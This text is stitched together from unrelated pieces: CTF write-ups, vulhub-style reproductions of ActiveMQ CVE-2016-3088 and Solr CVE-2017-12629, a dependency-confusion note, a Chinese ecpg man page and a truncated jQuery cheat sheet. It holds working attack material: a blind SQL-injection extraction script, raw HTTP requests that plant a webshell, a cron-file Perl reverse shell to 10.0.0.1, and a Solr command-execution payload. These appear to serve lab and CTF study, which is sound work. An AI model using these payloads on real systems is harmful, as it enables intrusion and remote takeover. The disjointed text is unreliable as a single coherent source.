## Irish Home (web, 200 points, 56 solves) ![scr1.png](scr1.png) `http://ctf.sharif.edu:8082/login.php` is vulnerable to a sql injection `a" or '1'='1';#` returns `SQL injection detected` So the website returns error if we got more than 0 rows in response, we are able to get the username and password bit by bit using a script: ``` python import sys import requests url = "http://ctf.sharif.edu:8082/login.php" def query(payload): data = { "username":payload, "password":"lololo" } r = requests.post(url=url, data=data) if(r.text.find("SQL") == -1): return 0 else: return 1 def queryLetter(payload): b = "" for i in range(8): b += str(query(payload.format(str(i)))) print(b[::-1]) return (int(b[::-1], 2)) def boo(querry): print(queryLetter("admin\" or (1=(ASCII(SUBSTR("+querry+"," + str(i) + ", 1)) >> {} & 1));#")) #print(queryLetter("admin\" union select null,null,null,null from information_schema.`COLUMNS` where table_name = 'users' and 1=((char_length(COLUMN_NAME)) >> {} & 1);#")) for i in range(1, 100): #user print(queryLetter("admin\" or (1=(ASCII(SUBSTR(username,"+str(i)+", 1)) >> {} & 1));#")) #pass #print(queryLetter("admin\" or (1=(ASCII(SUBSTR(password,"+str(i)+", 1)) >> {} & 1));#")) ``` Gives us: ``` Cuchulainn 2a7da9c@088ba43a_9c1b4Xbyd231eb9 ``` Another vuln is in the `http://ctf.sharif.edu:8082/pages/show.php` script, a path traversal and a lfi We can use php filters to read any files: http://ctf.sharif.edu:8082/pages/show.php?page=php://filter/read=convert.base64-encode/resource=../delete gives us: ``` php <?php require_once('header.php'); /* if(isset($_GET['page'])) { $fname = $_GET['page'] . ".php"; $fpath = "pages/$fname"; if(file_exists($fpath)) { rename($fpath, "deleted_3d5d9c1910e7c7/$fname"); } } */ ?> <div style="text-align: center;"> <h3 style="color: red;">Site is under maintenance 'til de end av dis f$#!*^% SharifCTF.</h3><br/> <h4><b>Al' destructive acshuns are disabled!</b></h4> </div> <?php require_once('footer.php'); ?> ``` And http://ctf.sharif.edu:8082/pages/show.php?page=php://filter/read=convert.base64-encode/resource=../deleted_3d5d9c1910e7c7/flag finally gives us the script that allows us to get the flag: `SharifCTF{65892135758717f9d9dfd7063d2c2281}`
sec-knowleage
# ActiveMQ Arbitrary File Write Vulnerability (CVE-2016-3088) [中文版本(Chinese version)](README.zh-cn.md) ## Environment setup Enter following commands to build and run the vulnerability environment: ``` docker compose up -d ``` The environment listens to port 61616 and port 8161, of which 8161 is the web console port. This vulnerability appears in the web console. Visit `http://your-ip:8161/` to see the web page, indicating that the environment has been successfully run. ## Background brief ActiveMQ web console is divided into three applications, admin, api and fileserver, where admin is the administrator page, api is the interface, fileserver is the interface for storing files; admin and api need to log in before they can be used, fileserver does not need to log in. fileserver is a RESTful API interface. We can read and write files stored in it through HTTP requests such as GET, PUT, and DELETE. The design purpose is to compensate for the defect that the message queue operation cannot transfer and store binary files, but later found that: 1. Its usage rate is not high 2. File operations are prone to vulnerabilities Therefore, ActiveMQ has closed the fileserver application by default in 5.12.x~5.13.x (you can open it in conf/jetty.xml); after 5.14.0, the fileserver application is completely removed. In the test process, you should pay attention to the version of ActiveMQ, prevent useless effort. ## Vulnerability Details This vulnerability appears in the Fileserver application, the vulnerability principle is actually very simple, that is, fileserver support to write files (but do not parse the JSP), while supporting the move file (MOVE request). So, we just need to write a file and then move it to any location by use a move request, causing arbitrary file write vulnerability. Write files such as cron or ssh key 1. Write Webshell 2. Write files such as cron or ssh key 3. Write libraries and configuration files such as jar or jetty.xml The advantage of writing webshell is convenient, but the fileserver don't parse jsp, admin and api both need to log in to access, so it is a bit futile; The advantage of writing cron or ssh key is to directly reverse Shell, it is convenient too, the disadvantage is that you need root privileges; write jar, a little trouble (requires jar back door), write xml configuration file, this method is more reliable, but there is a futile point: we need to know ActiveMQ absolute path. Let we talk about the above several methods. ### Write Webshell As I said earlier, the Webshell needs to be written in the Admin or Api app, and both applications need to be logged in to access. The default ActiveMQ account and password is `admin`. First, visit `http://your-ip:8161/admin/test/systemProperties.jsp` to view the absolute path of ActiveMQ: ![](02.png) Then upload Webshell: ``` PUT /fileserver/2.txt HTTP/1.1 Host: localhost:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 120976 webshell... ``` Then move it to the API folder (`/opt/activemq/webapps/api/s.jsp`) in the Web directory: ``` MOVE /fileserver/2.txt HTTP/1.1 Destination: file:///opt/activemq/webapps/api/s.jsp Host: localhost:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 0 ``` Access Webshell (login required): ![](03.png) ### Write crontab, automate reverse shell This is a relatively stable method. First upload the cron configuration file (note that the newline must be `\n`, not `\r\n`, otherwise the crontab execution will fail): ``` PUT /fileserver/1.txt HTTP/1.1 Host: localhost:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 248 */1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ``` Move it to `/etc/cron.d/root`: ``` MOVE /fileserver/1.txt HTTP/1.1 Destination: file:///etc/cron.d/root Host: localhost:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 0 ``` If both of the above requests return 204, the write is successful. Waiting for the reverse shell: ![](01.png) This method requires the ActiveMQ run as root, otherwise it will not be able to write to the cron file. ### Write jetty.xml or jar In theory we can override jetty.xml, remove the login restrictions for admin and api, and then write webshell. In some cases, the owner of jetty.xml and jar is the user of the web container, so the success rate of writing crontab is higher. Not tested yet.
sec-knowleage
# Apache Solr 远程命令执行漏洞(CVE-2017-12629) 漏洞原理与分析可以参考: - https://www.exploit-db.com/exploits/43009/ - https://paper.seebug.org/425/ Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:[XML实体扩展漏洞(XXE)](https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。 本环境测试RCE漏洞。 ## 漏洞环境 运行漏洞环境: ``` docker compose up -d ``` 命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。 ## 漏洞复现 首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数: ``` POST /solr/demo/config HTTP/1.1 Host: your-ip Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 158 {"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}} ``` ![](1.png) 然后进行update操作,触发刚才添加的listener: ``` POST /solr/demo/update HTTP/1.1 Host: your-ip Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 15 [{"id":"test"}] ``` ![](2.png) 执行`docker compose exec solr bash`进入容器,可见`/tmp/success`已成功创建: ![](3.png)
sec-knowleage
from collections import defaultdict dic = defaultdict(str) next = {} lines = open("lop.c").readlines() inside = False doit = 0 start = False for line in lines: if "void __noreturn opcode_" in line: opnum = int(line.split("_")[-1].split("(")[0]) inside = True elif "__cxa_begin_catch" in line and inside: doit = 1 elif "}" in line: inside = False doit = 0 elif "exception_class" in line: if opnum == 118: start = True if start: next[opnum] = int(line.split()[-1].strip(";")) doit = 0 if doit > 1: if "__cxa_allocate_exception" not in line: dic[opnum] += line if doit: doit += 1 op = 28 while True: print dic[op].strip() op = next[op]
sec-knowleage
# Dependency Confusion > A dependency confusion attack or supply chain substitution attack occurs when a software installer script is tricked into pulling a malicious code file from a public repository instead of the intended file of the same name from an internal repository. ## Summary * [Tools](#tools) * [Exploit](#exploitation) * [References](#references) ## Tools * [Confused](https://github.com/visma-prodsec/confused) ## Exploit Look for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used. ### NPM example * List all the packages (ie: package.json, composer.json, ...) * Find the package missing from https://www.npmjs.com/ * Register and create a **public** package with the same name * Package example : https://github.com/0xsapra/dependency-confusion-expoit ## References * [Exploiting Dependency Confusion - 2 Jul 2021 - 0xsapra](https://0xsapra.github.io/website//Exploiting-Dependency-Confusion) * [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) * [Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/) * [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained](https://www.youtube.com/watch?v=zFHJwehpBrU )
sec-knowleage
# 签到题 0300002402f080320100000009000e00050501120a100100010000830000290003000101 发现是个 西门子S7的写入请求包,将写入成功的返回包发送至公众号,即可获得 flag --- # 关卡2 ## ICS_8 下载附件,查看python脚本 添加解码的部分 ```plain def decode(cypher_text,iv): cypher_text = base64.b64decode(cypher_text) padding = 4 - len(cypher_text) % 4 if padding != 0: cypher_text = cypher_text + "\x00" * padding l = cypher_text crypher = struct.unpack("I"*(len(l)/4),l) datas = [] datas += [ decrypto(crypher[0]) ^ iv ] for i in range(1,len(crypher)): datas += [decrypto(crypher[i]) ^ crypher[i-1]] return datas ``` 运行ICS_8.py就得到了flag --- ## ICS_9 下载解压 得到 ICS_9.img linux里file看一下 尝试挂载,发现为空,修复镜像文件 挂在到 /mnt 下 fil.enc文件根据binwalk看来是一个openssl加密文件,而AE5文件显然是一个关于加密算法的提示,很可能是密钥。用各种AES算法解密后,就得到了一个有效的png文件。 这一题要把flag删掉提交 ext_sooper_blocks_are_c00I --- ## ICS_10 下载pdf文件,放在pdfparser一扫就有了 --- ## ICS_12 下载图片,用010打开,可以看到有一部分其他格式的文件 发现有关键字wps,猜测是wps文本,另存16进制文件,wps打开 与佛论禅加密 还是复制到winhex,猜测为base64加密,解密后再base32,再base16 --- ## ICS_13 使用 ida 打开目标程序,找到其硬编码的key以及加密算法,得到flag --- ## ICS_14 下载附件,打开发现有壳,脱壳,通过字符串定位到关键处 输入 admin@123.com 动态调试得到 flag:BZ9dmq4c8g9G7bAY --- # 关卡3 ## ICS_1 下载图片用 GIF Movie Gear 打开 然后拼接成2副GIF图 用ps调一下黑白色调 分别是 flag{W3lc0me_7o_2020EICS} galf{Welcome_to_f4k3world} --- ## ICS_2 ida打开发现有壳,脱壳,在导入表中有 WinHttpOpen 函数,定位到一个内网地址 其下找到一个加密的远程地址 执行后在内存中解密,得到远程IP地址 5.39.218.159 --- ## ICS_3 使用 binwalk 提取 squashfs-root 系统 ```bash binwalk -Me ICS_3.bin ``` 这里报了个错 `binwalk WARNING: Extractor.execute failed to run external extractor 'sasquatch -p 1 -le -d '%%squash` ,需要安装 [sasquatch](https://github.com/devttys0/sasquatch) ``` apt-get install -y build-essential liblzma-dev liblzo2-dev zlib1g-dev git clone https://github.com/devttys0/sasquatch cd sasquatch ./build.sh ``` 然后返回,重新提取 ``` binwalk -Me ICS_3.bin ``` 看一下,html,是腾达的,搜一下腾达路由器后门, flag 就是 `w302r_mfg` 有点可惜,当时没有去解决这个报错的问题 --- ## ICS_4 binwalk 提取,一个加密的zip文件,一个空的jpg图片 IDA打开ICS_4分析得到解压密码 解压密码 :Th15_1s_n0t _fl@g_6serful 用解压密码解压压缩包文件得到一张看上去一摸一样的图片 把这张图放入010分析 flag就在这里 flag{C077ec7_Inn3r_The_P1cture}
sec-knowleage
.TH "ECPG" "1" "2003-11-02" "Application" "PostgreSQL Client Applications" .SH NAME ecpg \- 嵌入的 SQL C 预处理器 .SH SYNOPSIS .sp \fBecpg\fR\fR [ \fR\fB\fIoption\fB\fR...\fB \fR\fR]\fR\fR \fIfile\fR...\fR\fR .SH "DESCRIPTION 描述" .PP \fBecpg\fR 是一个嵌入的用于C 语言的 SQL 预编译器。 它把嵌有 SQL 语句的 C 程序通过将 SQL 调用替换成特殊的函数调用的方法转换成普通的 C 代码。 然后输出的文件就可以用任何 C 编译工具进行处理。 .PP \fBclusterdb\fR 将把命令行上给出的每个输入文件转换成对应的 C 输出文件。 输入文件最好有 .pgc 的扩展名, 这样,这个扩展将被替换成 .c 来决定输出文件名。 如果输入文件的扩展不是 .pgc,那么输出文件名将通过在全文件名后面附加 .c 来生成。 输出文件名也可以用 -o 选项覆盖。 .PP 本手册页并不描述嵌入的 SQL 语句,参阅 Chapter 29 获更多信息。 .SH "OPTIONS 选项" .PP \fBclusterdb\fR 接受下列命令行参数: .TP \fB-c\fR 为 SQL 代码自动生成某种 C 代码。目前,这个选项可以用于 EXEC SQL TYPE。 .TP \fB-C \fR\fImode\fR 设置一个兼容模式。mode 可以是 INFORMIX 或者 INFORMIX_SE。 .TP \fB-D \fR\fIsymbol\fR 定义一个 C 预编译器符号。 .TP \fB-i\fR 同时也分析系统包含文件。 .TP \fB-I \fIinclude-path\fB\fR 声明一个附加的包含路径。用于寻找通过 EXEC SQL INCLUDE 包含的文件。缺省是 .(当前目录), /usr/local/include, 在编译时定义的PostgreSQL 包含路径(缺省: /usr/local/pgsql/include)和 /usr/include。顺序如上。 .TP \fB-o \fIfilename\fR 声明ecpg应该把它的所有输出写到给出的 filename里。 .TP \fB-t\fR 打开自动提交模式。在这种模式象,每个查询都自动提交, 除非它是包围在一个明确的事务块中。在缺省模式下, 命令只是在发出 EXEC SQL COMMIT 的时候提交。 .TP \fB-v\fR 打印额外的信息,包括版本和包含路径。 .TP \fB--help\fR 显示一个命令用法的简单摘要,然后退出。 .TP \fB--version\fR 显示版本信息,然后退出。 .SH "NOTES 注意" 在编译预处理的 C 代码文件的时候,编译器需要能够找到 PostgreSQL 包含目录里面的 ECPG 头文件。因此,我们在调用编译器的时候可能需要使用 -I (比如,-I/usr/local/pgsql/include)。 使用了嵌入 SQL 的 C 代码必须和 libecpg 库链接,比如,使用这样的链接选项: -L/usr/local/pgsql/lib -lecpg 这些目录的实际值可以通过 \fIpg_config\fP(1) 找到。 .SH "EXAMPLES 例子" .PP 如果你有一个叫 prog1.pgc 的嵌入 SQL 的 C 源代码,你可以用下面的命令序列创建一个可执行程序: .sp .nf ecpg prog1.pgc cc -I/usr/local/pgsql/include -c prog1.c cc -o prog1 prog1.o -L/usr/local/pgsql/lib -lecpg .sp .fi .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
--- title: jQuery date: 2020-12-24 21:08:21 background: bg-[#2c63a2] tags: - web - js - javascript - library categories: - Programming intro: | This [jQuery](https://jquery.com/) cheat sheet is a great reference for both beginners and experienced developers. plugins: - tooltip - copyCode --- Getting Started ------------ ### Including jQuery ```javascript {.wrap} <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> ``` #### Official CDN ```javascript {.wrap} <script src="https://code.jquery.com/jquery-3.5.1.min.js" crossorigin="anonymous"></script> ``` ### jQuery syntax ```javascript $(selector).methodOrFunction(); ``` #### Example: ```javascript $('#menu').on('click', () =>{ $(this).hide(); }); $("body").css("background", "red"); ``` ### jQuery document ready ```javascript $(document).ready(function() { // Runs after the DOM is loaded. alert('DOM fully loaded!'); }); ``` ```javascript $(function(){ // Runs after the DOM is loaded. alert('DOM fully loaded!'); }); ``` jQuery Selectors ---------- ### Examples {.secondary} ```javascript $("button").click(() => { $(":button").css("color", "red"); }); ``` #### Combining selectors ```javascript $("selector1, selector2 ...selectorn") ``` ### Basics - [*](https://api.jquery.com/all-selector/){data-tooltip="Selects all elements."} - [.class](https://api.jquery.com/class-selector/){data-tooltip="Selects all elements with the given class. "} - [element](https://api.jquery.com/element-selector/){data-tooltip="Selects all elements with the given tag name."} - [#id](https://api.jquery.com/id-selector/){data-tooltip="Selects a single element with the given id attribute. "} - [:hidden](https://api.jquery.com/hidden-selector/){data-tooltip="Selects all elements that are hidden."} - [:visible](https://api.jquery.com/visible-selector/){data-tooltip="Selects all elements that are visible."} - [:contains()](https://api.jquery.com/contains-selector/){data-tooltip="Select all elements that contain the specified text."} - [:empty](https://api.jquery.com/empty-selector/){data-tooltip="Select all elements that have no children (including text nodes)."} - [:has()](https://api.jquery.com/has-selector/){data-tooltip="Selects elements which contain at least one element that matches the specified selector."} - [:parent](https://api.jquery.com/parent-selector/){data-tooltip="Select all elements that have at least one child node (either an element or text)."} - [parent &gt; child](https://api.jquery.com/child-selector/){data-tooltip="Selects all direct child elements specified by child of elements specified by parent."} - [ancestor descendant](https://api.jquery.com/descendant-selector/){data-tooltip="Selects all elements that are descendants of a given ancestor."} - [prev + next](https://api.jquery.com/next-adjacent-Selector/){data-tooltip="Selects all next elements matching next that are immediately preceded by a sibling prev."} - [prev ~ siblings](https://api.jquery.com/next-siblings-selector/){data-tooltip="Selects all sibling elements that follow after the prev element, have the same parent, and match the filtering siblings selector."} {.col-span-2} {.marker-none .cols-3} ### Basic Filters - [:animated](https://api.jquery.com/animated-selector/){data-tooltip="Select all elements that are in the progress of an animation at the time the selector is run."} - [:eq()](https://api.jquery.com/eq-selector/){data-tooltip="Select the element at index n within the matched set."} - [:even](https://api.jquery.com/even-selector/){data-tooltip="Selects even elements, zero-indexed. See also :odd."} - [:first](https://api.jquery.com/first-selector/){data-tooltip="Selects the first matched DOM element."} - [:gt()](https://api.jquery.com/gt-selector/){data-tooltip="Select all elements at an index greater than index within the matched set."} - [:header](https://api.jquery.com/header-selector/){data-tooltip="Selects all elements that are headers, like h1, h2, h3 and so on."} - [:lang()](https://api.jquery.com/lang-selector/){data-tooltip="Selects all elements of the specified language."} - [:last](https://api.jquery.com/last-selector/){data-tooltip="Selects the last matched element."} - [:lt()](https://api.jquery.com/lt-selector/){data-tooltip="Select all elements at an index less than index within the matched set."} - [:not()](https://api.jquery.com/not-selector/){data-tooltip="Selects all elements that do not match the given selector."} - [:odd](https://api.jquery.com/odd-selector/){data-tooltip="Selects odd elements, zero-indexed. See also :even."} - [:root](https://api.jquery.com/root-selector/){data-tooltip="Selects the element that is the root of the document."} - [:target](https://api.jquery.com/target-selector/){data-tooltip="Selects the target element indicated by the fragment identifier of the document&apos;s URI."} {.marker-none .cols-3} ### Attribute - [[name|="value"]](https://api.jquery.com/attribute-contains-prefix-selector/){data-tooltip="Selects elements that have the specified attribute with a value either equal to a given string or starting with that string followed by a hyphen (-)."} - [[name*="value"]](https://api.jquery.com/attribute-contains-selector/){data-tooltip="Selects elements that have the specified attribute with a value containing a given substring."} - [[name~="value"]](https://api.jquery.com/attribute-contains-word-selector/){data-tooltip="Selects elements that have the specified attribute with a value containing a given word, delimited by spaces."} - [[name$="value"]](https://api.jquery.com/attribute-ends-with-selector/){data-tooltip="Selects elements that have the specified attribute with a value ending exactly with a given string. The comparison is case sensitive."} - [[name="value"]](https://api.jquery.com/attribute-equals-selector/){data-tooltip="Selects elements that have the specified attribute with a value exactly equal to a certain value."} - [[name!="value"]](https://api.jquery.com/attribute-not-equal-selector/){data-tooltip="Select elements that either don&apos;t have the specified attribute, or do have the specified attribute but not with a certain value."} - [[name^="value"]](https://api.jquery.com/attribute-starts-with-selector/){data-tooltip="Selects elements that have the specified attribute with a value beginning exactly with a given string."} - [[name]](https://api.jquery.com/has-attribute-selector/){data-tooltip="Selects elements that have the specified attribute, with any value. "} - [[name="value"][name2="value2"]](https://api.jquery.com/multiple-attribute-selector/){data-tooltip="Matches elements that match all of the specified attribute filters."} {.col-span-2} {.marker-none .cols-2} ### Child Filters - [:first-child](https://api.jquery.com/first-child-selector/){data-tooltip="Selects all elements that are the first child of their parent."} - [:first-of-type](https://api.jquery.com/first-of-type-selector/){data-tooltip="Selects all elements that are the first among siblings of the same element name."} - [:last-child](https://api.jquery.com/last-child-selector/){data-tooltip="Selects all elements that are the last child of their parent."} - [:last-of-type](https://api.jquery.com/last-of-type-selector/){data-tooltip="Selects all elements that are the last among siblings of the same element name."} - [:nth-child()](https://api.jquery.com/nth-child-selector/){data-tooltip="Selects all elements that are the nth-child of their parent."} - [:nth-last-child()](https://api.jquery.com/nth-last-child-selector/){data-tooltip="Selects all elements that are the nth-child of their parent, counting from the last element to the first."} - [:nth-last-of-type()](https://api.jquery.com/nth-last-of-type-selector/){data-tooltip="Selects all the elements that are the nth-child of their parent in relation to siblings with the same element name, counting from the last element to the first."} - [:nth-of-type()](https://api.jquery.com/nth-of-type-selector/){data-tooltip="Selects all elements that are the nth child of their parent in relation to siblings with the same element name."} - [:only-child](https://api.jquery.com/only-child-selector/){data-tooltip="Selects all elements that are the only child of their parent."} - [:only-of-type()](https://api.jquery.com/only-of-type-selector/){data-tooltip="Selects all elements that have no siblings with the same element name."} {.marker-none .cols-2} ### Forms - [:button](https://api.jquery.com/button-selector/){data-tooltip="Selects all button elements and elements of type button."} - [:checkbox](https://api.jquery.com/checkbox-selector/){data-tooltip="Selects all elements of type checkbox."} - [:checked](https://api.jquery.com/checked-selector/){data-tooltip="Matches all elements that are checked or selected."} - [:disabled](https://api.jquery.com/disabled-selector/){data-tooltip="Selects all elements that are disabled."} - [:enabled](https://api.jquery.com/enabled-selector/){data-tooltip="Selects all elements that are enabled."} - [:focus](https://api.jquery.com/focus-selector/){data-tooltip="Selects element if it is currently focused."} - [:file](https://api.jquery.com/file-selector/){data-tooltip="Selects all elements of type file."} - [:image](https://api.jquery.com/image-selector/){data-tooltip="Selects all elements of type image."} - [:input](https://api.jquery.com/input-selector/){data-tooltip="Selects all input, textarea, select and button elements."} - [:password](https://api.jquery.com/password-selector/){data-tooltip="Selects all elements of type password."} - [:radio](https://api.jquery.com/radio-selector/){data-tooltip="Selects all elements of type radio."} - [:reset](https://api.jquery.com/reset-selector/){data-tooltip="Selects all elements of type reset."} - [:selected](https://api.jquery.com/selected-selector/){data-tooltip="Selects all elements that are selected."} - [:submit](https://api.jquery.com/submit-selector/){data-tooltip="Selects all elements of type submit."} - [:text](https://api.jquery.com/text-selector/){data-tooltip="Selects all input elements of type text."} {.marker-none .cols-3} jQuery Attributes ------------ ### Examples {.secondary .row-span-2} ```javascript $('h2').css({ color: 'blue', backgroundColor: 'gray', fontSize: '24px' }); ``` #### jQuery addClass ```javascript $('.button').addClass('active'); ``` #### jQuery removeClass ```javascript $('.button').on('mouseleave', evt => { let e = evt.currentTarget; $(e).removeClass('active'); }); ``` #### jQuery .toggleClass ```javascript $('.choice').toggleClass('highlighted'); ``` ### Attributes - [.attr()](https://api.jquery.com/attr/){data-tooltip="Get the value of an attribute for the first element in the set of matched elements."} - [.prop()](https://api.jquery.com/prop/){data-tooltip="Get the value of a property for the first element in the set of matched elements."} - [.removeAttr()](https://api.jquery.com/removeAttr/){data-tooltip="Remove an attribute from each element in the set of matched elements."} - [.removeProp()](https://api.jquery.com/removeProp/){data-tooltip="Remove a property for the set of matched elements."} - [.val()](https://api.jquery.com/val/){data-tooltip="Get the current value of the first element in the set of matched elements."} {.marker-none .cols-2} #### Data - [jQuery.data()](https://api.jquery.com/jQuery.data/){data-tooltip="Store arbitrary data associated with the specified element. Returns the value that was set."} - [.data()](https://api.jquery.com/data/){data-tooltip="Store arbitrary data associated with the matched elements."} - [jQuery.hasData()](https://api.jquery.com/jQuery.hasData/){data-tooltip="Determine whether an element has any jQuery data associated with it."} - [jQuery.removeData()](https://api.jquery.com/jQuery.removeData/){data-tooltip="Remove a previously-stored piece of data."} - [.removeData()](https://api.jquery.com/removeData/){data-tooltip="Remove a previously-stored piece of data."} {.marker-none .cols-2} ### CSS - [.addClass()](https://api.jquery.com/addClass/){data-tooltip="Adds the specified class(es) to each element in the set of matched elements."} - [.hasClass()](https://api.jquery.com/hasClass/){data-tooltip="Determine whether any of the matched elements are assigned the given class."} - [.removeClass()](https://api.jquery.com/removeClass/){data-tooltip="Remove a single class, multiple classes, or all classes from each element in the set of matched elements."} - [.toggleClass()](https://api.jquery.com/toggleClass/){data-tooltip="Add or remove one or more classes from each element in the set of matched elements, depending on either the class&apos;s presence or the value of the state argument."} - [.css()](https://api.jquery.com/css/){data-tooltip="Get the computed style properties for the first element in the set of matched elements."} - [jQuery.cssHooks](https://api.jquery.com/jQuery.cssHooks/){data-tooltip="Hook directly into jQuery to override how particular CSS properties are retrieved or set, normalize CSS property naming, or create custom properties."} - [jQuery.cssNumber](https://api.jquery.com/jQuery.cssNumber/){data-tooltip="An object containing all CSS properties that may be used without a unit. The .css() method uses this object to see if it may append px to unitless values."} - [jQuery.escapeSelector()](https://api.jquery.com/jQuery.escapeSelector/){data-tooltip="Escapes any character that has a special meaning in a CSS selector."} {.marker-none .cols-2} ### Dimensions - [.height()](https://api.jquery.com/height/){data-tooltip="Get the current computed height for the first element in the set of matched elements."} - [.innerHeight()](https://api.jquery.com/innerHeight/){data-tooltip="Get the current computed height for the first element in the set of matched elements, including padding but not border."} - [.innerWidth()](https://api.jquery.com/innerWidth/){data-tooltip="Get the current computed inner width for the first element in the set of matched elements, including padding but not border."} - [.outerHeight()](https://api.jquery.com/outerHeight/){data-tooltip="Get the current computed outer height (including padding, border, and optionally margin) for the first element in the set of matched elements."} - [.outerWidth()](https://api.jquery.com/outerWidth/){data-tooltip="Get the current computed outer width (including padding, border, and optionally margin) for the first element in the set of matched elements."} - [.width()](https://api.jquery.com/width/){data-tooltip="Get the current computed width for the first element in the set of matched elements."} {.marker-none .cols-2} ### Offset - [.offset()](https://api.jquery.com/offset/){data-tooltip="Get the current coordinates of the first element in the set of matched elements, relative to the document."} - [.offsetParent()](https://api.jquery.com/offsetParent/){data-tooltip="Get the closest ancestor element that is positioned."} - [.position()](https://api.jquery.com/position/){data-tooltip="Get the current coordinates of the first element in the set of matched elements, relative to the offset parent."} - [.scrollLeft()](https://api.jquery.com/scrollLeft/){data-tooltip="Get the current horizontal position of the scroll bar for the first element in the set of matched elements."} - [.scrollTop()](https://api.jquery.com/scrollTop/){data-tooltip="Get the current vertical position of the scroll bar for the first element in the set of matched elements or set the vertical position of the scroll bar for every matched element."} {.marker-none .cols-2} jQuery Manipulation ------------ ### Examples {.secondary .row-span-3} ```javascript /*<span>Span.</span>*/ $('span').after('<p>Paragraph.</p>'); /*<span>Span.</span><p>Paragraph.</p>*/ /*<span>Span.</span>*/ $('<span>Span.</span>').replaceAll('p'); /*<p>Span.</p>*/ /*<span>This is span.</span>*/ $('span').wrap('<p></p>'); /*<p><span>This is span.</span></p>*/ ``` ### Copying - [.clone()](https://api.jquery.com/clone/){data-tooltip="Create a deep copy of the set of matched elements."} {.marker-none .cols-3} ### DOM Insertion, Around - [.wrap()](https://api.jquery.com/wrap/){data-tooltip="Wrap an HTML structure around each element in the set of matched elements."} - [.wrapAll()](https://api.jquery.com/wrapAll/){data-tooltip="Wrap an HTML structure around all elements in the set of matched elements."} - [.wrapInner()](https://api.jquery.com/wrapInner/){data-tooltip="Wrap an HTML structure around the content of each element in the set of matched elements."} {.marker-none .cols-3} ### DOM Insertion, Inside - [.append()](https://api.jquery.com/append/){data-tooltip="Insert content, specified by the parameter, to the end of each element in the set of matched elements."} - [.appendTo()](https://api.jquery.com/appendTo/){data-tooltip="Insert every element in the set of matched elements to the end of the target."} - [.html()](https://api.jquery.com/html/){data-tooltip="Get the HTML contents of the first element in the set of matched elements."} - [.prepend()](https://api.jquery.com/prepend/){data-tooltip="Insert content, specified by the parameter, to the beginning of each element in the set of matched elements."} - [.prependTo()](https://api.jquery.com/prependTo/){data-tooltip="Insert every element in the set of matched elements to the beginning of the target."} - [.text()](https://api.jquery.com/text/){data-tooltip="Get the combined text contents of each element in the set of matched elements, including their descendants."} {.marker-none .cols-3} ### DOM Insertion, Outside - [.after()](https://api.jquery.com/after/){data-tooltip="Insert content, specified by the parameter, after each element in the set of matched elements."} - [.before()](https://api.jquery.com/before/){data-tooltip="Insert content, specified by the parameter, before each element in the set of matched elements."} - [.insertAfter()](https://api.jquery.com/insertAfter/){data-tooltip="Insert every element in the set of matched elements after the target."} - [.insertBefore()](https://api.jquery.com/insertBefore/){data-tooltip="Insert every element in the set of matched elements before the target."} {.marker-none .cols-3} ### DOM Removal - [.detach()](https://api.jquery.com/detach/){data-tooltip="Remove the set of matched elements from the DOM."} - [.empty()](https://api.jquery.com/empty/){data-tooltip="Remove all child nodes of the set of matched elements from the DOM."} - [.remove()](https://api.jquery.com/remove/){data-tooltip="Remove the set of matched elements from the DOM."} - [.unwrap()](https://api.jquery.com/unwrap/){data-tooltip="Remove the parents of the set of matched elements from the DOM, leaving the matched elements in their place."} {.marker-none .cols-3} ### DOM Replacement - [.replaceAll()](https://api.jquery.com/replaceAll/){data-tooltip="Replace each target element with the set of matched elements."} - [.replaceWith()](https://api.jquery.com/replaceWith/){data-tooltip="Replace each element in the set of matched elements with the provided new content and return the set of elements that was removed."} {.marker-none .cols-3} jQuery Traversing ------------ ### Filtering - [.eq()](https://api.jquery.com/eq/){data-tooltip="Reduce the set of matched elements to the one at the specified index."} - [.filter()](https://api.jquery.com/filter/){data-tooltip="Reduce the set of matched elements to those that match the selector or pass the function&apos;s test. "} - [.first()](https://api.jquery.com/first/){data-tooltip="Reduce the set of matched 